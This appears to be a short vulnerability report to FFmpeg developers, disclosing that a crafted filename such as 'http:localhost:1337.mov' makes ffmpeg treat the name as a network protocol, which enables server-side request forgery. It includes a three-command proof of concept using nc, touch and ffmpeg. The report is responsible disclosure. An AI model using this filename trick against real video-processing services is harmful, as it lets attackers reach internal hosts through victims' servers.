Design issue affecting security
|Reproduced by developer:
|Analyzed by developer:
Attacker can create file with special name and bypass protocol white/black lists and achieve SSRF, if filename is passed to ffmpeg as an argument like
ffmpeg -i <controlled_filename> output
How to reproduce:
$ nc -lvvp 1337 # listen of the local server to confirm the bug $ touch "http:localhost:1337.mov" # create file that will be pass as an argument $ ffmpeg -i "http:localhost:1337.mov" output.mov # trigger the bug
Execution of these shell commands confirms that if attacker controls the filename, he could control the protocol and workflow of FFmpeg.
FFmpeg is software commonly used by large companies and other projects which use it as third-party software to process video on their own servers. This report shows that if name of file has not been changed before it is passed to FFmpeg, it could cause very harmful consequences. It was confirmed that issue exists in modern services and it is highly recommended to fix it.
Contact me if you need more details about this issue.